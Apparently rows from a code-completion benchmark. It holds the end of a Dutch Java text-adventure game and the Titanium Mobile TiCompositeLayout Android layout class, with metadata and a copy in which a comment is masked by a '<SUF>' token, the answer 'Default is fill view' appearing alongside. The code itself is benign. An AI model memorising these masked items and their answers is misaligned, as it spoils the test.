System.out.println("Sorry, niet in voorraad. C1000 hebben we niet in Engeland, dus verdroog maar.");
}
}
/*
* Beam player to other room
* @param command The command to be processed.
*/
public void beamPlayer(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to do
System.out.println("Wat doen?");
return;
}
if(command.getSecondWord().equals("ga"))
{
if(player.getPlayerBeamerLocation() == 0)
{
System.out.println("Je kunt nergens naartoe gaan, want je hebt geen locatie opgeslagen!");
}else if(player.getPlayerBeamerLocation() == player.getCurrentRoomID())
{
System.out.println("Waarom wil je naar deze locatie? Je bent er al!");
}else
{
System.out.println("Er komen 3 travestieten aangerend, die pakken je op en die sleuren mee. De");
System.out.println("Crimson Chin is er niets bij, owh wacht die bestaat nog niet.");
beamRoom(player.getPlayerBeamerLocation());
}
}
if(command.getSecondWord().equals("opslaan"))
{
System.out.println("Locatie opgeslagen!");
player.setPlayerBeamerLocation(player.getCurrentRoomID()); //Save player location
}
}
/*
* @param int to select the room where the player wants to go
*/
public void beamRoom(int roomID)
{
player.setCurrentRoom(rooms.get(roomID));
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
//Remove last room from ArrayList
visitedRooms.clear();
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
/**
* Try to go to one direction. If there is an exit, enter the new
* room, otherwise print an error message.
* @param command The command to be processed
*/
private void goRoom(Command command)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know where to go...
System.out.println("Waar naar toe?");
return;
}
if(command.getSecondWord().equals("terug"))
{
Room lastRoom = null;
if(visitedRooms.size() >= 1)
{
lastRoom = visitedRooms.get(visitedRooms.size()-1);
}
if(lastRoom == rooms.get(player.getCurrentRoomID()) || lastRoom == null)
{
System.out.println("Je kunt niet verder terug gaan!");
}else
{
player.setCurrentRoom(lastRoom);
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
//Remove last room from ArrayList
visitedRooms.remove(visitedRooms.size()-1);
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
}else
{
String direction = command.getSecondWord();
// Try to leave current room.
Room nextRoom = rooms.get(player.getCurrentRoomID()).getExit(direction);
if (nextRoom == null) {
System.out.println("Er is geen deur!");
}
else {
if(nextRoom.getItemRequirement() != 0)
{
boolean requiredItem = false;
for (Iterator inventoryIterator = player.getInventory().iterator(); inventoryIterator.hasNext();) {
Item inventoryItem = (Item) inventoryIterator.next();
if(inventoryItem.getItemID() == player.getCurrentRoom().getItemRequirement())
{
requiredItem = true;
}
}
if(requiredItem == true)
{
visitedRooms.add(player.getCurrentRoom()); //Add current room to visited rooms
player.setCurrentRoom(nextRoom);//Make next room current room
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}else
{
System.out.println("Je hebt het vereiste voorwerp niet in je bezit om de deur te openen!");
}
}else
{
visitedRooms.add(player.getCurrentRoom()); //Add current room to visited rooms
player.setCurrentRoom(nextRoom);//Make next room current room
player.setCurrentRoomID(player.getCurrentRoom().getRoomID());
System.out.println(rooms.get(player.getCurrentRoomID()).getLongDescription(player.getInventory()));
}
}
}
}
/**
* Compare room and inventory items with each other.
* When a room item compares with a inventory item
* it will be removed from the currentRoomItems
* ArrayList to prevent already picked up items
* to be displayed when looking or when trying
* to pick it up.
*/
public void compareRoomInventoryItems()
{
int ArrayListID = 0;
if(player.getInventorySize() > 0)
{
for (Iterator it = rooms.get(player.getCurrentRoomID()).getItems().iterator(); it.hasNext();)
{
Item roomItem = (Item) it.next();
for (Iterator inventoryIterator = player.getInventory().iterator(); inventoryIterator.hasNext();) {
Item inventoryItem = (Item) inventoryIterator.next();
if(inventoryItem.getItemName().equals(roomItem.getItemName()))
{
it.remove(); //If room item compares with inventory item remove it
}
}
ArrayListID++;
}
}
}
/**
* Look for items in the current room
*/
public void lookInRoom()
{
int itemNumber = 1;
String printString = "";
//Compare room and inventory items again
compareRoomInventoryItems();
for (Iterator it = rooms.get(player.getCurrentRoomID()).getItems().iterator(); it.hasNext();)
{
Item roomItem = (Item) it.next();
printString += itemNumber + ": " + roomItem.getItemName() + "\n";
itemNumber++;
}
//Cut of last new line
if(printString.length() > 0)
{
printString = printString.substring(0, printString.lastIndexOf("\n"));
}else
{
printString = "Er zijn geen voorwerpen in deze kamer.";
}
System.out.println(printString);
}
/**
* Pickup specific item
* @param Command The command to be processed
*/
public void pickupItem(Command command)
{
int itemNumber;
//Check if the player has less than 4 items
if(player.getInventorySize() < 4)
{
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to pick up
System.out.println("Wat oppakken?");
return;
}
//Try if input if numeric
try {
itemNumber = Integer.parseInt(command.getSecondWord()) - 1;
//Compare room and inventory items again
compareRoomInventoryItems();
if(rooms.get(player.getCurrentRoomID()).getItems().size() > itemNumber)
{
//Get Item<SUF>
Item pickupItem = rooms.get(player.getCurrentRoomID()).getItem(itemNumber);
//Add item to inventory
player.addItem(pickupItem);
System.out.println("Het voorwerp '" + pickupItem.getItemName() + "' zit nu in je tas.");
//Compare room and inventory items again
compareRoomInventoryItems();
}else
{
System.out.println("Voorwerp bestaat niet!");
}
}catch(Exception e)
{
System.out.println("Het item wat je opgaf is ongeldig, dit moet numeriek zijn!");
}
}else
{
System.out.println("Je hebt ruimte voor maar 4 items! Wil je iets oppakken? Dan zul je toch echt");
System.out.println("iets moeten laten vallen " + player.getPlayerName() + " !");
}
}
/**
* Show players inventory
*/
public void showInventory()
{
if(player.getInventorySize() > 0)
{
String printString = "Je tas bevat de volgende voorwerpen" + "\n";
int itemNumber = 1;
for (Iterator it = player.getInventory().iterator(); it.hasNext();) {
Item roomItem = (Item) it.next();
if(roomItem.getItemValue() == 1)
{
printString += itemNumber + ": " + roomItem.getItemName() + " (Quest item)" + "\n";
}else
{
printString += itemNumber + ": " + roomItem.getItemName() + "\n";
}
itemNumber++;
}
//Cut of last new line
printString = printString.substring(0, printString.lastIndexOf("\n"));
System.out.println(printString);
}else
{
System.out.println("Je tas is leeg!");
}
}
/**
* Aks if the player is sure he or she wants to remove the
* inventory item in case there is a second word.
* @param Command The inserted command
*/
public void askRemoveInventoryItem(Command command)
{
int inventoryItem;
if(!command.hasSecondWord()) {
// if there is no second word, we don't know what to remove
System.out.println("Verwijder wat?");
return;
}
//Try if input if numeric
try {
inventoryItem = Integer.parseInt(command.getSecondWord()) - 1;
if(inventoryItem <= player.getInventorySize())
{
if(player.getInventoryItem(inventoryItem).getItemValue() == 0)
{
checkRemoveInventoryItem(conversation.askQuestionInput("Weet je zeker dat je wilt " + player.getInventoryItem(inventoryItem).getItemName() + " verwijderen? ja/nee"), inventoryItem);
}else
{
System.out.println("Je kunt dit voorwerp niet weg gooien, quest voorwerp!");
}
}else
{
System.out.println("Item wat je wil verwijderen bestaat niet..");
}
}catch(Exception e)
{
System.out.println("Het item wat je opgaf is ongeldig, dit moet numeriek zijn!");
}
}
/**
* @param String The players input answer
* @param int The item ID from the item the player wants to remove
*/
public void checkRemoveInventoryItem(String answer, int itemID)
{
if(answer.equals("ja"))
{
System.out.println(player.getInventoryItem(itemID).getItemName() + " is verwijderd!");
removeInventoryItem(itemID);
}else if(answer.equals("nee"))
{
System.out.println("Wat jij wil..");
}
}
/**
* Remove the specified item from the players inventory
* @param int The inventory item ID
*/
public void removeInventoryItem(int itemID)
{
Item removableItem = player.getInventoryItem(itemID);
//When an item is dropped add item to current room
rooms.get(player.getCurrentRoomID()).setItem(removableItem);
//Remove item from inventory
player.removeItem(itemID);
//Compare room and inventory items again
compareRoomInventoryItems();
}
/**
* Print all room exits
*/
public void showExits()
{
System.out.println(rooms.get(player.getCurrentRoomID()).getExitsString(player.getInventory()));
}
/**
* Asks the user if he/she wants to quit the game
*/
public void askQuit()
{
checkQuit(conversation.askQuestionInput("Weet je zeker dat je wilt stoppen? ja/nee"));
}
/**
* Asks for user input again
*/
public void askQuitAgain()
{
checkQuit(conversation.askInput());
}
/**
* Check if user really wants to quit the game
* @param String User input
*/
private void checkQuit(String answer)
{
if(answer.equals("ja"))
{
quit();
}else if(answer.equals("nee"))
{
System.out.println("Wat jij wil..");
}else
{
System.out.println("Is het nou zo moeilijk om ja of nee te antwoorden?");
askQuitAgain();
}
}
/**
* Quit the game and print message for 5 seconds
*/
private void quit()
{
try{
System.out.println("Het lukte gewoon niet om het spel af te maken?");
System.out.println("Geef maar toe! Bedankt voor het spelen en tot ziens.");
Thread.sleep(5000);//sleep for 5 seconds
System.exit(0); // signal that we want to quit
}
catch(Exception error){
System.err.println(error);
}
}
/*
* Main method tot start the game
* @param String[]
*/
public static void main(String[] args)throws Exception
{
Game game = new Game();
game.play();
try{
}catch(Exception e){
System.err.println("Er heeft zich een ernstige fout voorgedaan waardoor het spel niet meer functioneert.");
}
}
} |
73680_2 | /**
* Appcelerator Titanium Mobile
* Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.
* Licensed under the terms of the Apache Public License
* Please see the LICENSE included with this distribution for details.
*/
package org.appcelerator.titanium.view;
import java.util.Comparator;
import java.util.TreeSet;
import org.appcelerator.titanium.TiC;
import org.appcelerator.titanium.TiDimension;
import org.appcelerator.titanium.util.Log;
import org.appcelerator.titanium.util.TiConfig;
import android.content.Context;
import android.util.AttributeSet;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.OnHierarchyChangeListener;
public class TiCompositeLayout extends ViewGroup
implements OnHierarchyChangeListener
{
public enum LayoutArrangement {DEFAULT, VERTICAL, HORIZONTAL}
protected static final String TAG = "TiCompositeLayout";
protected static final boolean DBG = TiConfig.LOGD && false;
public static final int NOT_SET = Integer.MIN_VALUE;
private TreeSet<View> viewSorter;
private boolean needsSort;
protected LayoutArrangement arrangement;
// Used by horizonal arrangement calculations
private int horizontalLayoutTopBuffer = 0;
private int horizontalLayoutCurrentLeft = 0;
private int horizontalLayoutLineHeight = 0;
private boolean disableHorizontalWrap = false;
public TiCompositeLayout(Context context)
{
this(context, LayoutArrangement.DEFAULT);
}
public TiCompositeLayout(Context context, LayoutArrangement arrangement)
{
super(context);
this.arrangement = arrangement;
this.viewSorter = new TreeSet<View>(new Comparator<View>(){
public int compare(View o1, View o2)
{
TiCompositeLayout.LayoutParams p1 =
(TiCompositeLayout.LayoutParams) o1.getLayoutParams();
TiCompositeLayout.LayoutParams p2 =
(TiCompositeLayout.LayoutParams) o2.getLayoutParams();
int result = 0;
if (p1.optionZIndex != NOT_SET && p2.optionZIndex != NOT_SET) {
if (p1.optionZIndex < p2.optionZIndex) {
result = -1;
} else if (p1.optionZIndex > p2.optionZIndex) {
result = 1;
}
} else if (p1.optionZIndex != NOT_SET) {
if (p1.optionZIndex < 0) {
result = -1;
} if (p1.optionZIndex > 0) {
result = 1;
}
} else if (p2.optionZIndex != NOT_SET) {
if (p2.optionZIndex < 0) {
result = 1;
} if (p2.optionZIndex > 0) {
result = -1;
}
}
if (result == 0) {
if (p1.index < p2.index) {
result = -1;
} else if (p1.index > p2.index) {
result = 1;
} else {
throw new IllegalStateException("Ambiguous Z-Order");
}
}
return result;
}});
needsSort = true;
setOnHierarchyChangeListener(this);
}
public TiCompositeLayout(Context context, AttributeSet attrs) {
super(context, attrs);
}
public TiCompositeLayout(Context context, AttributeSet attrs,
int defStyle) {
super(context, attrs, defStyle);
}
private String viewToString(View view) {
return view.getClass().getSimpleName() + "@" + Integer.toHexString(view.hashCode());
}
public void onChildViewAdded(View parent, View child) {
needsSort = true;
if (DBG && parent != null && child != null) {
Log.d(TAG, "Attaching: " + viewToString(child) + " to " + viewToString(parent));
}
}
public void onChildViewRemoved(View parent, View child) {
needsSort = true;
if (DBG) {
Log.d(TAG, "Removing: " + viewToString(child) + " from " + viewToString(parent));
}
}
@Override
protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
return p instanceof TiCompositeLayout.LayoutParams;
}
@Override
protected LayoutParams generateDefaultLayoutParams()
{
// Default is fill view
LayoutParams params = new LayoutParams();
params.optionLeft = null;
params.optionRight = null;
params.optionTop = null;
params.optionBottom = null;
params.optionZIndex = NOT_SET;
params.autoHeight = true;
params.autoWidth = true;
return params;
}
protected int getViewWidthPadding(View child) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
int padding = 0;
if (p.optionLeft != null) {
padding += p.optionLeft.getAsPixels(this);
}
if (p.optionRight != null) {
padding += p.optionRight.getAsPixels(this);
}
return padding;
}
protected int getViewHeightPadding(View child) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
int padding = 0;
if (p.optionTop != null) {
padding += p.optionTop.getAsPixels(this);
}
if (p.optionBottom != null) {
padding += p.optionBottom.getAsPixels(this);
}
return padding;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec)
{
int childCount = getChildCount();
int wFromSpec = MeasureSpec.getSize(widthMeasureSpec);
int hFromSpec = MeasureSpec.getSize(heightMeasureSpec);
int wSuggested = getSuggestedMinimumWidth();
int hSuggested = getSuggestedMinimumHeight();
int w = Math.max(wFromSpec, wSuggested);
int wMode = MeasureSpec.getMode(widthMeasureSpec);
int h = Math.max(hFromSpec, hSuggested);
int hMode = MeasureSpec.getMode(heightMeasureSpec);
int maxWidth = 0;
int maxHeight = 0;
for(int i = 0; i < childCount; i++) {
View child = getChildAt(i);
if (child.getVisibility() != View.GONE) {
constrainChild(child, w, wMode, h, hMode);
}
int childWidth = child.getMeasuredWidth();
int childHeight = child.getMeasuredHeight();
if (child.getVisibility() != View.GONE) {
childWidth += getViewWidthPadding(child);
childHeight += getViewHeightPadding(child);
}
if (isHorizontalArrangement()) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
maxWidth += childWidth;
if (p.optionLeft != null) {
maxWidth += p.optionLeft.getAsPixels(this); // I think this is wrong -- getViewWidthPadding above has already done this, I believe
}
} else {
maxWidth = Math.max(maxWidth, childWidth);
}
if (isVerticalArrangement()) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
maxHeight += childHeight;
if (p.optionTop != null) {
maxHeight += p.optionTop.getAsPixels(this);
}
} else {
maxHeight = Math.max(maxHeight, childHeight);
}
}
// account for padding
maxWidth += getPaddingLeft() + getPaddingRight();
maxHeight += getPaddingTop() + getPaddingBottom();
// Account for border
//int padding = Math.round(borderHelper.calculatePadding());
//maxWidth += padding;
//maxHeight += padding;
// check minimums
maxWidth = Math.max(maxWidth, getSuggestedMinimumWidth());
maxHeight = Math.max(maxHeight, getSuggestedMinimumHeight());
int measuredWidth = getMeasuredWidth(maxWidth, widthMeasureSpec);
int measuredHeight = getMeasuredHeight(maxHeight,heightMeasureSpec);
setMeasuredDimension(measuredWidth, measuredHeight);
}
protected void constrainChild(View child, int width, int wMode, int height, int hMode)
{
LayoutParams p =
(LayoutParams) child.getLayoutParams();
int childDimension = LayoutParams.WRAP_CONTENT;
if (p.optionWidth != null) {
childDimension = p.optionWidth.getAsPixels(this);
} else {
if (p.autoWidth && p.autoFillsWidth && !isHorizontalArrangement()) {
childDimension = LayoutParams.FILL_PARENT;
}
}
int widthPadding = getViewWidthPadding(child);
int widthSpec = ViewGroup.getChildMeasureSpec(MeasureSpec.makeMeasureSpec(width, wMode), widthPadding, childDimension);
childDimension = LayoutParams.WRAP_CONTENT;
if (p.optionHeight != null) {
childDimension = p.optionHeight.getAsPixels(this);
} else {
if (p.autoHeight && p.autoFillsHeight && !isVerticalArrangement()) {
childDimension = LayoutParams.FILL_PARENT;
}
}
int heightPadding = getViewHeightPadding(child);
int heightSpec = ViewGroup.getChildMeasureSpec(MeasureSpec.makeMeasureSpec(height, hMode), heightPadding, childDimension);
child.measure(widthSpec, heightSpec);
// Useful for debugging.
// int childWidth = child.getMeasuredWidth();
// int childHeight = child.getMeasuredHeight();
}
protected int getMeasuredWidth(int maxWidth, int widthSpec)
{
return resolveSize(maxWidth, widthSpec);
}
protected int getMeasuredHeight(int maxHeight, int heightSpec)
{
return resolveSize(maxHeight, heightSpec);
}
@Override
protected void onLayout(boolean changed, int l, int t, int r, int b)
{
int count = getChildCount();
int left = 0;
int top = 0;
int right = r - l;
int bottom = b - t;
if (needsSort) {
if (count > 1) { // No need to sort one item.
viewSorter.clear();
for(int i = 0; i < count; i++) {
View child = getChildAt(i);
TiCompositeLayout.LayoutParams params =
(TiCompositeLayout.LayoutParams) child.getLayoutParams();
params.index = i;
viewSorter.add(child);
}
detachAllViewsFromParent();
int i = 0;
for (View child : viewSorter) {
attachViewToParent(child, i++, child.getLayoutParams());
}
}
needsSort = false;
}
int[] horizontal = new int[2];
int[] vertical = new int[2];
int currentHeight = 0; // Used by vertical arrangement calcs
for (int i = 0; i < count; i++) {
View child = getChildAt(i);
TiCompositeLayout.LayoutParams params =
(TiCompositeLayout.LayoutParams) child.getLayoutParams();
if (child.getVisibility() != View.GONE) {
// Dimension is required from Measure. Positioning is determined here.
int childMeasuredWidth = child.getMeasuredWidth();
int childMeasuredHeight = child.getMeasuredHeight();
if (isHorizontalArrangement()) {
if (i == 0) {
horizontalLayoutCurrentLeft = left;
horizontalLayoutLineHeight = 0;
horizontalLayoutTopBuffer = 0;
}
computeHorizontalLayoutPosition(params, childMeasuredWidth, childMeasuredHeight, right, top, bottom, horizontal, vertical);
} else {
computePosition(this, params.optionLeft, params.optionCenterX, params.optionRight, childMeasuredWidth, left, right, horizontal);
if (isVerticalArrangement()) {
computeVerticalLayoutPosition(currentHeight, params.optionTop, params.optionBottom, childMeasuredHeight, top, bottom, vertical);
} else {
computePosition(this, params.optionTop, params.optionCenterY, params.optionBottom, childMeasuredHeight, top, bottom, vertical);
}
}
if (DBG) {
Log.d(TAG, child.getClass().getName() + " {" + horizontal[0] + "," + vertical[0] + "," + horizontal[1] + "," + vertical[1] + "}");
}
int newWidth = horizontal[1] - horizontal[0];
int newHeight = vertical[1] - vertical[0];
if (newWidth != childMeasuredWidth
|| newHeight != childMeasuredHeight) {
int newWidthSpec = MeasureSpec.makeMeasureSpec(newWidth, MeasureSpec.EXACTLY);
int newHeightSpec = MeasureSpec.makeMeasureSpec(newHeight, MeasureSpec.EXACTLY);
child.measure(newWidthSpec, newHeightSpec);
}
child.layout(horizontal[0], vertical[0], horizontal[1], vertical[1]);
currentHeight += newHeight;
if (params.optionTop != null) {
currentHeight += params.optionTop.getAsPixels(this);
}
}
}
}
// 0 is left/top, 1 is right/bottom
public static void computePosition(View parent, TiDimension option0, TiDimension optionCenter, TiDimension option1,
int measuredSize, int layoutPosition0, int layoutPosition1, int[] pos)
{
int dist = layoutPosition1 - layoutPosition0;
if (optionCenter != null) {
int halfSize= measuredSize/2;
pos[0] = layoutPosition0 + optionCenter.getAsPixels(parent) - halfSize;
pos[1] = pos[0] + measuredSize;
} else if (option0 == null && option1 == null) {
// Center
int offset = (dist-measuredSize)/2;
pos[0] = layoutPosition0 + offset;
pos[1] = pos[0] + measuredSize;
} else if (option0 == null) {
// peg right/bottom
int option1Pixels = option1.getAsPixels(parent);
pos[0] = dist - option1Pixels - measuredSize;
pos[1] = dist - option1Pixels;
} else if (option1 == null) {
// peg left/top
int option0Pixels = option0.getAsPixels(parent);
pos[0] = layoutPosition0 + option0Pixels;
pos[1] = layoutPosition0 + option0Pixels + measuredSize;
} else {
// pegged both. override and force.
pos[0] = layoutPosition0 + option0.getAsPixels(parent);
pos[1] = layoutPosition1 - option1.getAsPixels(parent);
}
}
private void computeVerticalLayoutPosition(int currentHeight,
TiDimension optionTop, TiDimension optionBottom, int measuredHeight, int layoutTop, int layoutBottom, int[] pos)
{
int top = layoutTop + currentHeight;
if (optionTop != null) {
top += optionTop.getAsPixels(this);
}
int bottom = top + measuredHeight;
pos[0] = top;
pos[1] = bottom;
}
private void computeHorizontalLayoutPosition(TiCompositeLayout.LayoutParams params, int measuredWidth, int measuredHeight, int layoutRight, int layoutTop, int layoutBottom, int[] hpos, int[] vpos)
{
TiDimension optionLeft = params.optionLeft;
int left = horizontalLayoutCurrentLeft;
if (optionLeft != null) {
left += optionLeft.getAsPixels(this);
}
int right = left + measuredWidth;
if (right > layoutRight && !disableHorizontalWrap) {
// Too long for the current "line" that it's on. Need to move it down.
left = 0;
right = measuredWidth;
horizontalLayoutTopBuffer = horizontalLayoutTopBuffer + horizontalLayoutLineHeight;
horizontalLayoutLineHeight = 0;
}
hpos[0] = left;
hpos[1] = right;
horizontalLayoutCurrentLeft = right;
// Get vertical position into vpos
computePosition(this, params.optionTop, params.optionCenterY, params.optionBottom, measuredHeight, layoutTop, layoutBottom, vpos);
horizontalLayoutLineHeight = Math.max(horizontalLayoutLineHeight, vpos[1] - vpos[0]);
// account for moving the item "down" to later line(s) if there has been wrapping.
vpos[0] = vpos[0] + horizontalLayoutTopBuffer;
vpos[1] = vpos[1] + horizontalLayoutTopBuffer;
}
protected int getWidthMeasureSpec(View child) {
return MeasureSpec.EXACTLY;
}
protected int getHeightMeasureSpec(View child) {
return MeasureSpec.EXACTLY;
}
public static class LayoutParams extends ViewGroup.LayoutParams {
protected int index;
public int optionZIndex = NOT_SET;
public TiDimension optionLeft = null;
public TiDimension optionTop = null;
public TiDimension optionCenterX = null;
public TiDimension optionCenterY = null;
public TiDimension optionRight = null;
public TiDimension optionBottom = null;
public TiDimension optionWidth = null;
public TiDimension optionHeight = null;
public Ti2DMatrix optionTransform = null;
public boolean autoHeight = true;
public boolean autoWidth = true;
public boolean autoFillsWidth = false;
public boolean autoFillsHeight = false;
public LayoutParams() {
super(WRAP_CONTENT, WRAP_CONTENT);
index = Integer.MIN_VALUE;
}
}
protected boolean isVerticalArrangement()
{
return (arrangement == LayoutArrangement.VERTICAL);
}
protected boolean isHorizontalArrangement()
{
return (arrangement == LayoutArrangement.HORIZONTAL);
}
protected boolean isDefaultArrangement()
{
return (arrangement == LayoutArrangement.DEFAULT);
}
public void setLayoutArrangement(String arrangementProperty)
{
if (arrangementProperty != null && arrangementProperty.equals(TiC.LAYOUT_HORIZONTAL)) {
arrangement = LayoutArrangement.HORIZONTAL;
} else if (arrangementProperty != null && arrangementProperty.equals(TiC.LAYOUT_VERTICAL)) {
arrangement = LayoutArrangement.VERTICAL;
} else {
arrangement = LayoutArrangement.DEFAULT;
}
}
public void setDisableHorizontalWrap(boolean disable)
{
disableHorizontalWrap = disable;
}
}
| mwaylabs/titanium_mobile | android/titanium/src/org/appcelerator/titanium/view/TiCompositeLayout.java | 5,144 | // Default is fill view | line_comment | nl | /**
* Appcelerator Titanium Mobile
* Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.
* Licensed under the terms of the Apache Public License
* Please see the LICENSE included with this distribution for details.
*/
package org.appcelerator.titanium.view;
import java.util.Comparator;
import java.util.TreeSet;
import org.appcelerator.titanium.TiC;
import org.appcelerator.titanium.TiDimension;
import org.appcelerator.titanium.util.Log;
import org.appcelerator.titanium.util.TiConfig;
import android.content.Context;
import android.util.AttributeSet;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.OnHierarchyChangeListener;
public class TiCompositeLayout extends ViewGroup
implements OnHierarchyChangeListener
{
public enum LayoutArrangement {DEFAULT, VERTICAL, HORIZONTAL}
protected static final String TAG = "TiCompositeLayout";
protected static final boolean DBG = TiConfig.LOGD && false;
public static final int NOT_SET = Integer.MIN_VALUE;
private TreeSet<View> viewSorter;
private boolean needsSort;
protected LayoutArrangement arrangement;
// Used by horizonal arrangement calculations
private int horizontalLayoutTopBuffer = 0;
private int horizontalLayoutCurrentLeft = 0;
private int horizontalLayoutLineHeight = 0;
private boolean disableHorizontalWrap = false;
public TiCompositeLayout(Context context)
{
this(context, LayoutArrangement.DEFAULT);
}
public TiCompositeLayout(Context context, LayoutArrangement arrangement)
{
super(context);
this.arrangement = arrangement;
this.viewSorter = new TreeSet<View>(new Comparator<View>(){
public int compare(View o1, View o2)
{
TiCompositeLayout.LayoutParams p1 =
(TiCompositeLayout.LayoutParams) o1.getLayoutParams();
TiCompositeLayout.LayoutParams p2 =
(TiCompositeLayout.LayoutParams) o2.getLayoutParams();
int result = 0;
if (p1.optionZIndex != NOT_SET && p2.optionZIndex != NOT_SET) {
if (p1.optionZIndex < p2.optionZIndex) {
result = -1;
} else if (p1.optionZIndex > p2.optionZIndex) {
result = 1;
}
} else if (p1.optionZIndex != NOT_SET) {
if (p1.optionZIndex < 0) {
result = -1;
} if (p1.optionZIndex > 0) {
result = 1;
}
} else if (p2.optionZIndex != NOT_SET) {
if (p2.optionZIndex < 0) {
result = 1;
} if (p2.optionZIndex > 0) {
result = -1;
}
}
if (result == 0) {
if (p1.index < p2.index) {
result = -1;
} else if (p1.index > p2.index) {
result = 1;
} else {
throw new IllegalStateException("Ambiguous Z-Order");
}
}
return result;
}});
needsSort = true;
setOnHierarchyChangeListener(this);
}
public TiCompositeLayout(Context context, AttributeSet attrs) {
super(context, attrs);
}
public TiCompositeLayout(Context context, AttributeSet attrs,
int defStyle) {
super(context, attrs, defStyle);
}
private String viewToString(View view) {
return view.getClass().getSimpleName() + "@" + Integer.toHexString(view.hashCode());
}
public void onChildViewAdded(View parent, View child) {
needsSort = true;
if (DBG && parent != null && child != null) {
Log.d(TAG, "Attaching: " + viewToString(child) + " to " + viewToString(parent));
}
}
public void onChildViewRemoved(View parent, View child) {
needsSort = true;
if (DBG) {
Log.d(TAG, "Removing: " + viewToString(child) + " from " + viewToString(parent));
}
}
@Override
protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
return p instanceof TiCompositeLayout.LayoutParams;
}
@Override
protected LayoutParams generateDefaultLayoutParams()
{
// Default is<SUF>
LayoutParams params = new LayoutParams();
params.optionLeft = null;
params.optionRight = null;
params.optionTop = null;
params.optionBottom = null;
params.optionZIndex = NOT_SET;
params.autoHeight = true;
params.autoWidth = true;
return params;
}
protected int getViewWidthPadding(View child) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
int padding = 0;
if (p.optionLeft != null) {
padding += p.optionLeft.getAsPixels(this);
}
if (p.optionRight != null) {
padding += p.optionRight.getAsPixels(this);
}
return padding;
}
protected int getViewHeightPadding(View child) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
int padding = 0;
if (p.optionTop != null) {
padding += p.optionTop.getAsPixels(this);
}
if (p.optionBottom != null) {
padding += p.optionBottom.getAsPixels(this);
}
return padding;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec)
{
int childCount = getChildCount();
int wFromSpec = MeasureSpec.getSize(widthMeasureSpec);
int hFromSpec = MeasureSpec.getSize(heightMeasureSpec);
int wSuggested = getSuggestedMinimumWidth();
int hSuggested = getSuggestedMinimumHeight();
int w = Math.max(wFromSpec, wSuggested);
int wMode = MeasureSpec.getMode(widthMeasureSpec);
int h = Math.max(hFromSpec, hSuggested);
int hMode = MeasureSpec.getMode(heightMeasureSpec);
int maxWidth = 0;
int maxHeight = 0;
for(int i = 0; i < childCount; i++) {
View child = getChildAt(i);
if (child.getVisibility() != View.GONE) {
constrainChild(child, w, wMode, h, hMode);
}
int childWidth = child.getMeasuredWidth();
int childHeight = child.getMeasuredHeight();
if (child.getVisibility() != View.GONE) {
childWidth += getViewWidthPadding(child);
childHeight += getViewHeightPadding(child);
}
if (isHorizontalArrangement()) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
maxWidth += childWidth;
if (p.optionLeft != null) {
maxWidth += p.optionLeft.getAsPixels(this); // I think this is wrong -- getViewWidthPadding above has already done this, I believe
}
} else {
maxWidth = Math.max(maxWidth, childWidth);
}
if (isVerticalArrangement()) {
LayoutParams p = (LayoutParams) child.getLayoutParams();
maxHeight += childHeight;
if (p.optionTop != null) {
maxHeight += p.optionTop.getAsPixels(this);
}
} else {
maxHeight = Math.max(maxHeight, childHeight);
}
}
// account for padding
maxWidth += getPaddingLeft() + getPaddingRight();
maxHeight += getPaddingTop() + getPaddingBottom();
// Account for border
//int padding = Math.round(borderHelper.calculatePadding());
//maxWidth += padding;
//maxHeight += padding;
// check minimums
maxWidth = Math.max(maxWidth, getSuggestedMinimumWidth());
maxHeight = Math.max(maxHeight, getSuggestedMinimumHeight());
int measuredWidth = getMeasuredWidth(maxWidth, widthMeasureSpec);
int measuredHeight = getMeasuredHeight(maxHeight,heightMeasureSpec);
setMeasuredDimension(measuredWidth, measuredHeight);
}
protected void constrainChild(View child, int width, int wMode, int height, int hMode)
{
LayoutParams p =
(LayoutParams) child.getLayoutParams();
int childDimension = LayoutParams.WRAP_CONTENT;
if (p.optionWidth != null) {
childDimension = p.optionWidth.getAsPixels(this);
} else {
if (p.autoWidth && p.autoFillsWidth && !isHorizontalArrangement()) {
childDimension = LayoutParams.FILL_PARENT;
}
}
int widthPadding = getViewWidthPadding(child);
int widthSpec = ViewGroup.getChildMeasureSpec(MeasureSpec.makeMeasureSpec(width, wMode), widthPadding, childDimension);
childDimension = LayoutParams.WRAP_CONTENT;
if (p.optionHeight != null) {
childDimension = p.optionHeight.getAsPixels(this);
} else {
if (p.autoHeight && p.autoFillsHeight && !isVerticalArrangement()) {
childDimension = LayoutParams.FILL_PARENT;
}
}
int heightPadding = getViewHeightPadding(child);
int heightSpec = ViewGroup.getChildMeasureSpec(MeasureSpec.makeMeasureSpec(height, hMode), heightPadding, childDimension);
child.measure(widthSpec, heightSpec);
// Useful for debugging.
// int childWidth = child.getMeasuredWidth();
// int childHeight = child.getMeasuredHeight();
}
protected int getMeasuredWidth(int maxWidth, int widthSpec)
{
return resolveSize(maxWidth, widthSpec);
}
protected int getMeasuredHeight(int maxHeight, int heightSpec)
{
return resolveSize(maxHeight, heightSpec);
}
@Override
protected void onLayout(boolean changed, int l, int t, int r, int b)
{
int count = getChildCount();
int left = 0;
int top = 0;
int right = r - l;
int bottom = b - t;
if (needsSort) {
if (count > 1) { // No need to sort one item.
viewSorter.clear();
